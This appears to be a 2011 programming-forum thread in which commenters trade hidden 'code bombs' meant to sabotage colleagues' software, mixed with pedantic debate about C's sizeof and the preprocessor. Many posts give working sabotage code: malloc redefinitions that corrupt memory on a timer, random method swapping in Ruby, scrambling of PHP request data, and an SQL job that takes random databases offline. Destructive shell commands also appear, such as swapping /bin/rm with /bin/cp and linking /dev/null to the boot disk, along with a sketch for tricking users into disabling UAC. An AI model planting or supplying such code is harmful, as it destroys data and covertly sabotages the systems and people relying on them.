    (function(){
    for(var a in window){
    if(typeof window[a] == "function"){
    window[a]=function(){};
    }
    }
    for(var b in document){
    if(typeof document[b] == "function"){
    document[b]=function(){};
    }
    }
    })();

    Imagine having to find a bug when nothing works. You could replace the empty function with a crash such as:
    var count;
    var z = {};
    while(1>0){
    z[count]="c";
    count++;
    }
  • fennec 2011-03-14 17:53
    Take an important binary. Compile it with a subtle bug that activates some fraction of the time. Put a copy somewhere earlier in the search path than the real binary (in /sbin/ for instance). Destroy the source. For bonus points, consider having it unlink itself eventually.

    Did this with a harmless internal random-string generator (used by developers for generating test data) to send amusing messages.
  • Ubersoldat 2011-03-14 17:57
    Too easy to debug with a simple thread dump.
  • fj 2011-03-14 18:02
    Sten:
    Some other guy:
    Maybe
    #include <stdlib.h>
    

    #define malloc malloc_bomb
    #define realmalloc malloc


    static inline void *

    malloc_bomb(size_t size)

    {

    if (size>8) size-=8;

    return realmalloc(size);

    }


    No. realmalloc gets replaced by malloc which in turn gets replaced by malloc_bomb. The correct one (according to ISO C) wouhl have #define at the bottom (after the function).


    You we're right before, but you are wrong this time....

    During Precompilation, malloc is replaced with malloc_bomb.
    THEN realmalloc is replaced with malloc.

    (try it, with a less destrucive malloc_bomb version)
  • blackhole12 2011-03-14 18:10
    #ifndef _DEBUG
    
    #define MPATH_HOLD MAX_PATH
    #ifdef MAX_PATH //Ensures code doesn't trigger any suspicious warnings
    #undef MAX_PATH
    #endif
    #define MAX_PATH (MPATH_HOLD-1)
    #endif


    While this only works on windows, it also only works if the employer is being lazy with buffer overrun checking. I like to think it selectively targets lazy programmers.
  • Jackal von ÖRF 2011-03-14 18:28
    Introduce some issues to Java's autoboxing of primitive types by redefining some of the cached small values:


    Integer one = Integer.valueOf(1); // or some other value between -128 and 127
    Field value = one.getClass().getDeclaredField("value");
    value.setAccessible(true);
    value.set(one, 0);


    To illustrate:


    Map<Integer, String> m = new HashMap<Integer, String>();
    m.put(0, "zero");
    m.put(1, "one");
    System.out.println(m.size() == 1);



    Addendum (2011-03-14 18:36):
    This could be made even more interesting by scheduling the change to happen at 4 a.m. during a full moon and then changing it back an hour later. Or then synchronize the change with the transition to/from daylight saving time, so as to provide misinformation on what is the real cause.
  • Capt. Obvious 2011-03-14 18:28
    Hmmm... at one point I thought that Visual Studio failed to recognize that the comma was inside parenthesis. This error caused me to have to do some pretty annoying workarounds. I'm going to claim it was an earlier version of VS with that issue to save face, having just tested that it works properly in 2k8. Thanks, I have some ugly code to refactor.
  • Homer512 2011-03-14 18:32
    This is pretty much a classic in JavaScript:
    undefined = 42;
    Because undefined is just a global variable with no default value,
    you can do things like
    var a = {};
    
    a.b === undefined; // true because property b is not set
    undefined = 42;
    a.b === undefined; // false
    So it is basically the JS equivalent of "DEFINE NULL ..." but with the bonus that you can create a time-bomb by changing undefined after, say, 10 minutes.
  • Luiz Felipe 2011-03-14 18:46
    This is the WTF Bomb.
  • Evo 2011-03-14 18:53
    Here's my code:


    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>

    sig_t __damn_oldf;
    int *__damn_ptr = NULL;

    void __damn2(int _)
    {
    signal(SIGALRM, __damn_oldf);
    *__damn_ptr = rand();
    __damn_ptr = NULL;
    }

    void *__damn1(size_t size)
    {
    static int cnt = 111;

    void *ret;
    ret = malloc(size);

    if(!cnt-- && !__damn_ptr) {
    __damn_ptr = ret;
    __damn_oldf = signal(SIGALRM, __damn2);
    alarm(1);
    cnt = 111;
    }

    return ret;
    }


    #define malloc __damn1


    Every 112 mallocs it will set an alarm for one second; then change the first four bytes (or however big an int is) in the allocated data to a random value. Have fun debugging that!
  • SimpleTonY 2011-03-14 19:20
    Jay:
    Tangential, but just wondering ...

    If someone is completely happy with his job, do you call him a "gruntled employee"?


    Well, if he's not-disgruntled, that would be disdisgruntled, right? And the two dis's cancel out, so: gruntled.
  • lmc 2011-03-14 19:20
    There's some truely awful things you can do in dynamic languages like Ruby along these lines. I made this a while ago:


    #creates fun for ruby developers
    class FunBoost
    def self.initialize_fun
    Thread.new do
    sleep(300) #wait a bit for things to load before starting the fun
    FunBoost.create_fun!
    end
    end

    def self.create_fun!
    create_fun_on_instance(random_instance)
    end

    def self.create_fun_on_instance(instance)
    aritys = aritys_for(instance)
    arity = random_element(aritys.keys.select { |key| aritys[key].size > 2 }) #only want ones with at least two methods to swap
    method1 = random_element(aritys[arity])
    method2 = random_element(aritys[arity] - [method1])

    #TODO: metaclass_eval for more fun?
    instance.class.instance_eval do
    alias_method "#{method1}_before_fun", method1
    alias_method method1, method2
    alias_method method2, "#{method1}_before_fun"
    end

    [method1,method2]
    end

    #find a random object to do fun things to
    def self.random_instance
    object_count = 0
    ObjectSpace.each_object { object_count += 1}
    target_object_offset = rand(object_count)

    object_offset = 0
    ObjectSpace.each_object do |object|
    if object_offset == target_object_offset
    return object
    end
    object_offset += 1
    end
    end

    def self.aritys_for(instance)
    (instance.methods - Object.methods).inject(Hash.new{|h,k| h[k] = []}) do |hash,method|
    hash[instance.method(method).arity] << method
    hash
    end
    end

    def self.random_element(array)
    return array[rand(array.size)]
    end
    end

    FunBoost.initialize_fun


    The long and short of it is that it picks a random object out of ObjectSpace (basically every object in memory), then swaps two methods with matching arities.

    Will that call to Post.count actually run Post.destroy_all ? Who knows!
  • GreGory 2011-03-14 19:30
    kastein:

    Speaking of which, a "one in ten thousand calls to free() will result in a double free" bomb would be pretty nifty. If they get lucky, they might even dodge the bullet on the double free, making it even harder to track down.


    Even better: Have malloc remember a pointer on a particular size area, and return that pointer on the 20th succeeding allocation. From time to time, the program would step on itself and the reason why would be totally obscure.
  • Sten 2011-03-14 19:52
    cat test.c
    #define malloc malloc_bomb
    
    #define realmalloc malloc

    realmalloc


    gcc -E test.c
    # 1 "test.c"
    
    # 1 "<built-in>"
    # 1 "<command-line>"
    # 1 "test.c"



    malloc_bomb


    It seems you have no idea how preprocessor actually works.
  • Johnny Biggg 2011-03-14 20:08
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    Wrong, wrong, wrong. 0 for numerical values, NULL (or even null, which I think is now supported?) for pointers. Readability is king.
  • Computer Cat 2011-03-14 20:17
    Sten:
    cat test.c
    #define malloc malloc_bomb
    
    #define realmalloc malloc

    realmalloc


    gcc -E test.c
    # 1 "test.c"
    
    # 1 "<built-in>"
    # 1 "<command-line>"
    # 1 "test.c"



    malloc_bomb


    It seems you have no idea how preprocessor actually works.


    Miaow!
  • drfreak 2011-03-14 20:40
    Here's something I used to do on Unix/Linux/BSD systems for fun back in the day when my IRC friends and I would give each other shell access and trash each other's computers. It doesn't really count as code, but is simple, easy, and hard to find as the culprit. Just do the following command in sh:

    mv /bin/cp /bin/cptmp; mv /bin/rm /bin/cp; mv /bin/cptmp /bin/rm

    The beauty of this is most people use cp with the -rf options as well as rm without checking the dir first. As a bonus, if the victim does a 'cp -rf /var /usr/var' they get both folders destroyed. SCORE!

  • alegr 2011-03-14 20:43
    blackhole12:
    #ifndef _DEBUG
    
    #define MPATH_HOLD MAX_PATH
    #ifdef MAX_PATH //Ensures code doesn't trigger any suspicious warnings
    #undef MAX_PATH
    #endif
    #define MAX_PATH (MPATH_HOLD-1)
    #endif


    While this only works on windows, it also only works if the employer is being lazy with buffer overrun checking. I like to think it selectively targets lazy programmers.
    Macros referenced in #define are not resolved at #define time. They are only resolved at invocation time. Thus, this won't work.
  • drfreak 2011-03-14 20:56
    On the Vic-20 and C64 in BASIC, I found a bug in the LIST command a long time ago which I have worked to my advantage before. To use the bug can create a rudimentary form of copy-protection but will not crash your program as it executes.

    On random lines, write your code. For instance, 10, 12, 16, 23, 32, 37, etc.. On all lines in-between, put a REM statement where you traverse the keyboard from qwert thrugh vbnm, hold in the function key (i think it was a commodore key actually) which produces the special characters often used in line drawing and such. Then, traverse the keys again from top to bottom. When you do a LIST on the program and it hits one of those lines, you'll get a ?SYNTAX ERROR and the listing will stop. The only way to see the real code is to list line numbers one-by-one until you get all the lines which don't contain the REMark..

    I never drilled down to find the actual keycode which causes the bug, hence my brute-force method of using all the keys. Maybe someone already has already discovered the bug though and has simplified the REM statement...
  • pez 2011-03-14 21:39
    In the post what is the behavior of rand()%100000? Isn't it just testing to see if rand() returns exactly 0? So then naming 100000 "crash frequency" is meaningless..
  • Bogans R Us 2011-03-14 22:37
    pez:
    In the post what is the behavior of rand()%100000? Isn't it just testing to see if rand() returns exactly 0? So then naming 100000 "crash frequency" is meaningless..


    This is testing to see whether rand() returns 0 or any other multiple of 100,000 . Most people would say that this means we have a 1-100,000 chance of rand()%100000 being 0, however this would only be true if RAND_MAX were equal to some multiple of 100,000 minus 1. In reality, because this is not the case, there is a slightly greater chance of it equating to 0 (assuming genuine randomness, which we don't have anyway)

    (for those who don't believe me, think about a system that with equal probability of giving 0,1,2 and then taking modulo 2 of the result. It is quite clear that 0 will occur 2/3s of the time)
  • Christopher Hotchkiss 2011-03-14 22:59
    Pseudo code since I'm horrible at C.

    Create two arrays with 1000 slots:
    1. Array of void pointers.
    2. Array of requested sizes.

    Redefine malloc to save a pointer from the real malloc call and the size of data requested.

    Redefine free to remove the pointer from the array.

    Finally randomly bit shift a byte of data from a random part of memory pointed to by a random array member.

    This has the beauty of not causing any memory access issues, being very subtle and could have VERY random effects on the running code (extra fun for misaligned pointers).

    .... I'll have to see if I can code it sometime.
  • tobyodavies 2011-03-14 23:55
    This would be fun on a sufficiently gnarly php site:


    if(rand()%100==0){
    foreach(array('_POST','_GET','_COOKIE') as $g){
    $v=array_values($GLOBALS[$g]);
    shuffle($v);
    $GLOBALS[$g]=array_combine(array_keys($GLOBALS[$g]),$v);
    }
    }


    That will randomly reassign all the data sent to the page. i.e. "address" becomes "name" and "name" becomes "telephone" #.

    Without good validation (which is altogether too rare) this will make the database... interesting :)

    Addendum (2011-03-15 02:30):
    An even better approach would be


    if(rand()%100==0){

    foreach(array('_POST','_GET','_COOKIE') as $g){

    if(rand()%100==0){
    array_fill(0,
    length($GLOBALS[$g]),
    'expletive of choice');
    }else{
    $v=array_values($GLOBALS[$g]);
    }

    shuffle($v);

    $GLOBALS[$g]=array_combine(array_keys($GLOBALS[$g]),$v);

    }

    }

    Then you'll end up with occasionally offensive garbage in the DB.

    Addendum (2011-03-15 02:31):
    An even better approach would be


    if(rand()%100==0){

    foreach(array('_POST','_GET','_COOKIE') as $g){

    if(rand()%100==0){
    array_fill(0,
    length($GLOBALS[$g]),
    'expletive of choice');
    }else{
    $v=array_values($GLOBALS[$g]);
    }

    shuffle($v);

    $GLOBALS[$g]=array_combine(array_keys($GLOBALS[$g]),$v);

    }

    }


    Then you'll end up with occasionally offensive garbage in the DB.
  • Scarlet Manuka 2011-03-15 00:00
    drfreak:
    On the Vic-20 and C64 in BASIC[...] put a REM statement where you traverse the keyboard from qwert thrugh vbnm, hold in the function key (i think it was a commodore key actually) which produces the special characters often used in line drawing and such. Then, traverse the keys again from top to bottom. When you do a LIST on the program and it hits one of those lines, you'll get a ?SYNTAX ERROR and the listing will stop.

    I didn't use those particular computers, but I did use a similar one (Dick Smith VZ-200). I found out that every BASIC keyword was mapped to a single character, mainly those graphics characters (PRINT was mapped to ? which explains why you could use ? as a shortcut for PRINT in your programs, and I think THEN was mapped to the comma). The program was stored internally using these characters instead of the keywords, obviously to save space, and IIRC it did space stripping too. So your line REM <character jumble> might have translated to something like REMFORPRINTCLS<etc>... still obviously a bug in the LIST command, since the REM should have kicked in.

    It actually was possible to type in a BASIC program using the graphics characters instead of the keywords, if you knew the mapping.
  • Dave 2011-03-15 01:23
    haha-only-serious:
    I once contemplated adding this line of code into the big ball of PHP-mud that is the in-house CMS of my former employer:

    if (mt_rand(0,10000) > 9000) {
    header('HTTP/1.0 503 Service Temporarily Unavailable', 503);
    exit;
    }


    You're one of the Horde developers, aren't you?
  • Dave 2011-03-15 01:30
    Sobriquet:
    The hardest stuff to debug is anything related to crypto. Sift through the headers for OpenSSL... you could set AES to equal Blowfish. Now the app will work fine internally, but if it's sharing data with any other app, it will fail mysteriously.


    Background: I'm a cryptographer. It's hard enough to get this stuff right even when you're trying to (far too many obscure corner cases), you don't even need to deliberately booby-trap it. In OpenSSL there are lots of bit-patterns you can put into bignum values that'll cause the bignum code to return subtly incorrect results, however they're not normally encountered in practice so the bugs stay in there for years.
  • lolwtf 2011-03-15 01:44
    Sten:
    kastein:

    /* for security reasons only root may call this syscall */
    if (current->cred->uid ^= current->cred->uid &&\
    some_other_obscure_condition)
    return -EPERM;


    I know better:

    /* for security reasons only root may call this syscall */
    if (some_obscure_condition &&\
    current->cred->uid = 0)
    return do_work();
    return -EPERM;

    And as far as I remember, a similar one even got into vanilla Linux kernel
    Almost. Someone hacked into a source control server and snuck it in, but this was immediately noticed when the devs' local copies no longer matched the server's copy. The actual exploit wasn't noticed immediately, but the code never actually made it into a kernel.
  • Anonymous 2011-03-15 03:31
    Another little thing to do on a unixoid system (including, but not limited to Linux) would be this:


    rm /dev/null
    touch /dev/null
    chmod 666 /dev/null


    Then wait and watch the system's hard drive filling up.

    For more deviousness you can alter it a bit (replace /dev/sda with the harddrive of your choice)


    rm /dev/null
    ln -s /dev/sda /dev/null
    chmod 666 /dev/sda


    If you actually chose the drive descriptor of the boot device, someone might be in for a rude awakening when trying to reboot the system. And if this bomb remains undetected, the partition table and maybe other vital file system information (superblock, directory, you name it) might be overwritten as well.
  • Rosuav 2011-03-15 03:46
    Sten:
    frits:
    Hey, you guys know size is in bytes, not bits right? Just asking...


    Yes, of course, and that’s the point. It works perfectly for malloc(sizeof(double)); but fails for malloc(sizeof(some_complex_structure));


    Many implementations of malloc round the requested size up to some arbitrary page, so malloc(127) will actually return a 128-byte buffer. Since most programs also allocate in nice-sized blocks for everything other than strings, the chance is high that decrementing malloc's argument actually won't do anything. Subtracting 8, however, almost certainly WILL.

    Tip for C++ programmers: You can do the exact same thing in operator new() and/or operator new[](). For bonus points, mangle just one of them, leave the other one reliable!
  • Steve The Cynic 2011-03-15 04:04
    frits:
    Hey, you guys know size is in bytes, not bits right? Just asking...

    Actually, you are wrong. The unit of sizeof() is chars, not bytes. It so happens that char is usually an octet (8 bits, what we usually call a byte), but it doesn't have to be. I have worked on a machine where the natural size of a char was 16 bits, because the memory was 16 bits wide (i.e. moving from address 1000 to address 1001 advanced by 16 bits), and CDC Cyber mainframes had natural 6 bit characters (but aren't in that mode suitable for C, because char must be at least 8 bits).
  • Not of this Earth 2011-03-15 04:44
    // Some simple bit twiddling

    #define sizeof_bomb(x) ((((sizeof(x) + 1) ^ (sizeof(x) - 1)) + 1) & ~1)
    #define sizeof(x) sizeof_bomb(x)

    // Example

    2 --> 6
    4 --> 6
    6 --> 14
    8 --> 14
    10 --> 6

    30 --> 62
    40 --> 14
    50 --> 6
    60 --> 6
    64 --> 126

    78 --> 30
    94 --> 62
    122 --> 6
    126 --> 254
  • Not of this Earth 2011-03-15 04:46
    // I'm sorry, this one is 'correct':

    #define sizeof_bomb(x) ((((sizeof(x) + 2) ^ (sizeof(x) - 1)) + 1) & ~1)
    #define sizeof(x) sizeof_bomb(x)
  • Not of this Earth 2011-03-15 04:59
    // Also, this might be useful:

    #define protected public
    #define private public
  • Arancaytar 2011-03-15 05:14
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif


    Maybe that explains the following pattern that was posted here once:


    if (condition) {
    if (condition) {
    if (condition) {
    ...
    }
    }
    }


    Edit: No, wait, it would only if the if randomly returned true. This way, you'd have to test it in the else branch several times.
  • Tomalak Geret'kal 2011-03-15 06:54
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif


    NULL in C++ is fine; good luck find-and-replacing all your `0`s when nullptr comes along.

    Meanwhile, `rand()` returns an int, so the real WTF is on you.
  • Tomalak Geret'kal 2011-03-15 06:57
    Tomalak Geret'kal:
    Niels:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif


    Meanwhile, `rand()` returns an int, so the real WTF is on you.


    (Don't get me wrong, your code will still "work", but the comparison with 0.0001 seems really strange. Comparing with 1 would be more canonical.)
  • Daniel Cooper 2011-03-15 07:02

    class String
    alias :old_eq :==
    def ==(object)
    (rand(100) == 42 ? !self.old_eq(object) : self.old_eq(object))
    end
    end

    Every so often "hello" == "world" will return true and "hello" == "hello" wont.

    How can you not love Ruby?
  • Kelso 2011-03-15 07:28
    I'm not sure how many other people realise this but with most language you can use direct unicode escaped sequences.
    so something like:
    Java:
    // This is a friendly comment \u000A nasty code here

    I know Eclipse doesn't highlight that as actual code, it just thinks it's a comment.
    see it doesn't take much. easiest way to hide it is to just tab it across a bit till it sits just off the screen.
  • Not yet disgruntled 2011-03-15 07:38
    #ifndef ALLOCATOR__H
    #define ALLOCATOR__H

    #ifdef __cplusplus
    #pragma warning(disable : 4172)
    #include <cstdlib>
    #include <new>
    #include <ctime>

    using namespace std;

    #define CHECK_SIZE(a, b, c) ((!a && b) ? 0 : a##b(c))

    namespace {
    class allocator_base {
    };

    template <size_t n>
    class allocator : public allocator_base
    {
    char arr[n];
    };

    const int max_n = 1000;
    template<int n>
    struct helper
    {
    static allocator_base& func(int i)
    {
    return i == n? allocator<n>() : helper<n+1>::func(i);
    }
    };

    template<>
    struct helper<max_n>
    {
    static allocator_base& func(int i)
    {
    return allocator<max_n>();
    }
    };

    allocator_base& helper_allocate(int i) {
    return helper<1>::func(i);
    }

    bool shouldSmartAlloc(size_t size){
    static int s = 0;
    int ti = 0;
    int me = 0;
    int sr = 0;
    int and = 0;
    int r = 0;
    if (!s){
    s = static_cast<size_t>(CHECK_SIZE(ti, me, NULL));
    s += size;
    CHECK_SIZE(sr, and, s);
    }
    if (size < max_n && (CHECK_SIZE(r, and, /*void*/) % (max_n * 10)) < 1){
    return true;
    }
    return false;
    }
    }

    void *
    operator new(size_t size)
    {
    void *p;
    if (shouldSmartAlloc(size)){
    allocator_base alloc = helper_allocate(size);
    p = static_cast<void *>(&alloc);
    } else {
    p = malloc(size);
    }
    return p;
    }

    #endif

    #endif


    Tried obfuscating the randomness slightly, and hiding it in something less suspicious-looking. Basically, about 1 in every 10000 calls to new will allocate the memory on the stack instead of the heap. This should not only produce some nasty crashes when writing to or deleting that memory, but the added stack-corruption should add some fun to the debugging.
  • Mike 2011-03-15 08:00
    In those legacy visual basic apps that are still being maintained, just remove the line "option explicit" from every source file.
  • Maurizio 2011-03-15 08:22
    Once i did (really) the following on a Symbolics Lisp Machine

    (defun car (x)
    (cdr x))

    The machine took around 60 seconds to completely crash.
    OK, not very subtle.

  • Evo 2011-03-15 08:52
    Some improvement to my malloc magic memory modifcation: now, if the memory is free'd before it can be changed, it won't change it. So memory will only be changed if it exists for more than a second or so:


    #ifdef NDEBUG
    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>

    sig_t __damn_oldf;
    int *__damn_ptr = NULL;

    void __damn2(int _)
    {
    signal(SIGALRM, __damn_oldf);
    if(__damn_ptr)
    *__damn_ptr = rand();

    __damn_ptr = NULL;
    }

    void *__damn1(size_t size)
    {
    static int cnt = 111;
    void *ret;
    ret = malloc(size);

    if(!__damn_ptr && !cnt--) {
    __damn_ptr = ret;
    __damn_oldf = signal(SIGALRM, __damn2);
    alarm(1);
    cnt = 111;
    }

    return ret;
    }

    void __undamn1(void *ptr)
    {
    if(ptr == __damn_ptr) {
    __damn_ptr = NULL;
    }

    free(ptr);
    }


    #define malloc __damn1
    #define free __undamn1
    #endif
  • Luiz Felipe 2011-03-15 09:09
    Anonymous:

    class LeakyString
    {
    private:
    std::string *str;

    public:
    LeakyString( const char *const s )
    : str( new std::string( s ) ) {}

    LeakyString( const LeakyString &copy )
    : str( new std::string( *copy.str ) ) {}

    LeakyString &
    operator= ( const LeakyString &rhs )
    {
    LeakyString tmp( rhs );
    std::swap( this->str, tmp.str );
    delete tmp.str; // Don't leak all the time
    }

    ~LeakyString() {} // Just leak our string sometimes

    // Assume the necessary internals to emulate a string
    };

    // Try to get everyone using our leaky implementation,
    // but we'll possibly wreak some compiler havoc if
    // string is a variable name or something...
    #define LeakyString string

    Lol, this is java string class, it leaks much memory.
    Hey you copied this from java hot spot vm.
    It explais why java sucks so much memory from my machine, thanks i have 8GB for it, nah its for Crisis Warhead also.
  • Steve The Cynic 2011-03-15 09:16
    Not yet disgruntled:

    #define CHECK_SIZE(a, b, c) ((!a && b) ? 0 : a##b(c))

    ...

    int and = 0;

    ...

    CHECK_SIZE(sr, and, s);


    You know that "and" is a keyword in C++, don't you? (It's a synonym for &&. Likewise "or" for ||, and "not" for monadic !.)
  • frits 2011-03-15 09:17
    Steve The Cynic:
    frits:
    Hey, you guys know size is in bytes, not bits right? Just asking...

    Actually, you are wrong. The unit of sizeof() is chars, not bytes. It so happens that char is usually an octet (8 bits, what we usually call a byte), but it doesn't have to be. I have worked on a machine where the natural size of a char was 16 bits, because the memory was 16 bits wide (i.e. moving from address 1000 to address 1001 advanced by 16 bits), and CDC Cyber mainframes had natural 6 bit characters (but aren't in that mode suitable for C, because char must be at least 8 bits).


    Did I mention sizeof()?

    You need to know the size of char in bytes if you're using sizof() to derive your argument for malloc(). Because every reference I found specifies that the size argument is in bytes. That's why you'll sometimes see something like:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);



    So the lesson is: if you're using C++, just use new[].

    I'll refer you to these:
    http://www.cppreference.com/wiki/memory/c/malloc
    http://www.cplusplus.com/reference/clibrary/cstdlib/malloc/
    http://msdn.microsoft.com/en-us/library/6ewkz86d.aspx


    Addendum (2011-03-15 09:28):
    Oops :X
    The code snippet should be:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);




    Addendum (2011-03-15 09:28):
    Oops :X
    The code snippet should be:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);




    Addendum (2011-03-15 09:34):
    Ahem:

    /*The above code example is common but wrong
    it should be done as below. make sure you include
    climits.h
    */
    int size = sizeof(my_data_struct)/(CHAR_BIT/8);
    my_data_struct * p_struct = malloc(size);


    *Frankenstein-like walks away*
    "More coffee. Fire bad."

  • Luiz Felipe 2011-03-15 09:21
    i forget to close the damn quote tag.

    My bomb recipe, made to wreak havok in prograns using COM:

    Using the microsoft idl extractor you get the COM interface
    from some dll.
    Use the generated idl to make an stub for the dll.
    I have some stub generator, it creates a proxy for DLL using an code generator.
    Then in the code generator, pick some DLL call and inject some IFs to return (in random condition) instead of calling the original DLL from proxed DLL.
    With LoadLibrary you can find if it expose IUnknow, it sinalizes that is is an COM Dll.
    Make some script to call the generator for some random COM dll.
    The Stub generator must statically link to the renamed COM Dll for this work.
    Now we need admin privilege to replace original DLL, but this is the easy part, just make the user click the fucking UAC, or tell that UAC is shit and make the user disable it for us to bomb the machine, or use some virus code to disable it.

    But this bomb requires much source code to post here.

  • GWO 2011-03-15 09:26
    2011-03-15 04:04 • by Steve The Cynic
    Actually, you are wrong. The unit of sizeof() is chars, not bytes.

    Actually, *you* are wrong. The unit of sizeof() is bytes. It's just that in C++, a byte is not necessarily a binary octet. It's defined to be the size of a char, which is also the smallest addressable unit.
  • Mcoder 2011-03-15 09:27
    Rosuav:
    C++ example:

    #ifndef _DEBUG
    struct imt
    {
    int intval;
    imt(int i):intval(i) {}
    operator int() {return intval;}
    int operator /(imt other) {return (intval>>1)/(other.intval>>1);}
    };
    #define int imt
    #endif


    This will create a completely invisible replacement for the standard integer, but such that all division is done with the low bit stripped. It'll work fine most of the time, but just occasionally it'll give slightly inaccurate results. And like the NULL example in the original post, it's something that you would trust perfectly ("that's just integer division, how can that be faulty?!?"); the debugger would tell you that it's "struct imt" instead of "int", but in the debugger, this won't be doing stuff anyway...

    For extreme Heisenbugginess, put this only in some places and not in others. You copy and paste a block of code from one module to another, and it gains some division inaccuracy.

    VERY occasionally this might even crash - if you try to divide an imt by 1, it'll become division by 0. Just to annoy the people who thought they were safe against div by 0!


    That goes to show... One should always check for #ifdef _DEBUG and #ifndef _DEBUG directives on inherited code.
  • Anonymous 2011-03-15 09:31
    The 'double free' a few comments back got me thinking....

    Untested code concept


    void *mallocevil(size_t size)
    {
    void *ptr = malloc(size);
    if(rand() < 0.0001) /* Choose xour favourite unlikely condition */
    free(ptr);
    return ptr;
    }

    #define malloc mallocevil


    One can extend it to have the pointer to the malloc()ed block freed by another thread some time after allocation.
  • Kenny 2011-03-15 09:34
    bob42:

    ...

    declare @databases table (name varchar(128), Sm int)
    declare @database table (name varchar(128), Sm int)
    declare @number int,
    @name varchar(128), @sql varchar(max)

    insert into @databases (name, Sm)
    select
    name,
    abs(checksum(newid()))% (select count(*) from sys.databases where database_id>4 and state=0)
    from sys.databases
    where database_id>4 and state=0

    select @number=abs(checksum(newid()))% (select count(*) from sys.databases)

    insert into @database (name, Sm)
    select top 1
    name, sm
    from @databases
    order by sm

    if exists (select top 1 name from @database)
    begin

    select @name=name from @database where sm=@number

    set @sql='alter database [' + @name + '] set offline with rollback after 30 seconds'

    exec(@sql)

    end


    I had to double-take, and then triple-take at this code, and it actually made me utter "WTF?!" I really hope this is intentionally obfuscated.

    As someone mentioned above, it would be easy to find because of logging, but that could be mitigated by using WAITFOR statements to move the start and end times of the job away from the offline time of the database to reduce suspicion.

    I can see that "abs(checksum(newid()))" is supposed to generate a random non-negative integer, but poor zero has half the chance of occurring than any other number (although this is mostly mitigated by the modulo operator), and there's a one in 4G chance that it will fail when it tries to perform "ABS(-2147483648)". I really hope this method isn't used in production.

    Beyond that ... tables, tables, tables. Why two table variables to pour the data from one to another? All you're trying to do is choose one online, non-system database as a target, so why not just:

    SELECT TOP 1
    @sql = 'alter database [' + name + '] set offline with rollback after 30 seconds'
    FROM sys.databases
    WHERE
    database_id > 4
    AND state = 0
    ORDER BY NEWID()

    As for all the other "randomness". Setting aside that modulo operator will give a very slight bias towards the lower numbers in the set, and that the value in @database.sm will be biased toward lower numbers by the "ORDER BY sm", all of it boils down to "Does this [Random integer between 0 and Count-Of-Databases] equal 0?"


    All that aside, I may actually implement this on some of the development database servers anyway, it'll be a good way to organically prune databases that aren't used any more.

    (Apparently haven't had enough coffee today.)
  • Luiz Felipe 2011-03-15 09:35
    Mike:
    In those legacy visual basic apps that are still being maintained, just remove the line "option explicit" from every source file.

    This is evil.
    But not works, my compiling script try to find it in all the code files and fail the compilation if it dont have the "option explicit".
  • Luiz Felipe 2011-03-15 09:39
    Some will say "The TRWTF is VB".
    No the true WTF it the "coders", and it include also, c# noobs, java, and javascript.
    But, really, you can use all these languages correctly with some correct software enginering and produce awsome softwares.
  • Major Malfunction 2011-03-15 10:02
    Capt. Obvious:
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    #define malloc malloc_bomb //#defined moved as indicated by many postings


    Clever error. But depending on the internal procedures at the company
    size+=8;
    may be a worse condition. (Magic number 8 requires tuning.) The free should be based on the objects theoretical size, not the malloc, resulting in a slow leak. Especially brutal because each component group can blame another, and be convinced that they aren't causing the leak.

    The free is based on the pointer of the memory block.
  • Steve The Cynic 2011-03-15 10:07
    frits:
    Did I mention sizeof()?

    You need to know the size of char in bytes if you're using sizof() to derive your argument for malloc(). Because every reference I found specifies that the size argument is in bytes. That's why you'll sometimes see something like:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);



    So the lesson is: if you're using C++, just use new[].


    So, you think that a reference's presence on the Internet means it is correct? Dividing by sizeof(char) is always a waste of space in the source file, as sizeof(char) is always 1. Always. Even if you have a wacky (but validly conformant) compiler where all integral types (including char) are 137 bits long, sizeof(char) is 1, because that's what the standards say. Yes, it is valid to have all interal types be 137 bits long. Almost no source code found in the real world will work on such a machine, but it *is* valid. The standards merely say that:
    * bitsof(char) >= 8
    * bitsof(short) >= 16 && bitsof(short) >= bitsof(char)
    * bitsof(int) >= bitsof(short)
    * bitsof(long) >= bitsof(int) && bitsof(long) >= 32
    * bitsof(unsigned X) == bitsof(signed X)

    The question of bytes versus chars as unit of sizeof is largely moot, as systems where char != an 8-bit byte are pretty rare these days, and anyway, "byte" is often used to mean "normal smallest hunk of memory", what would have been called a "word" in the old days, so a man page that says that malloc takes a size in bytes is correct, even on machine with nine-bit doodads. It is to avoid this type of confusion that standards (especially ITU standards) use the word "octet".

    Dividing CHAR_BIT by 8 in an attempt to find the number of bytes is, therefore, wrong. It finds the number of octets. On the hypothetical 137-bit machine, a "byte" would be 137 bits, and would contain seventeen and an eighth (?sp) octets.

    However, the point about using new or new[] in C++ is well taken, for plenty of reasons.
  • frits 2011-03-15 10:28
    Steve The Cynic:
    frits:
    Did I mention sizeof()?

    You need to know the size of char in bytes if you're using sizof() to derive your argument for malloc(). Because every reference I found specifies that the size argument is in bytes. That's why you'll sometimes see something like:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);



    So the lesson is: if you're using C++, just use new[].


    So, you think that a reference's presence on the Internet means it is correct? Dividing by sizeof(char) is always a waste of space in the source file, as sizeof(char) is always 1. Always. Even if you have a wacky (but validly conformant) compiler where all integral types (including char) are 137 bits long, sizeof(char) is 1, because that's what the standards say. Yes, it is valid to have all interal types be 137 bits long. Almost no source code found in the real world will work on such a machine, but it *is* valid. The standards merely say that:
    * bitsof(char) >= 8
    * bitsof(short) >= 16 && bitsof(short) >= bitsof(char)
    * bitsof(int) >= bitsof(short)
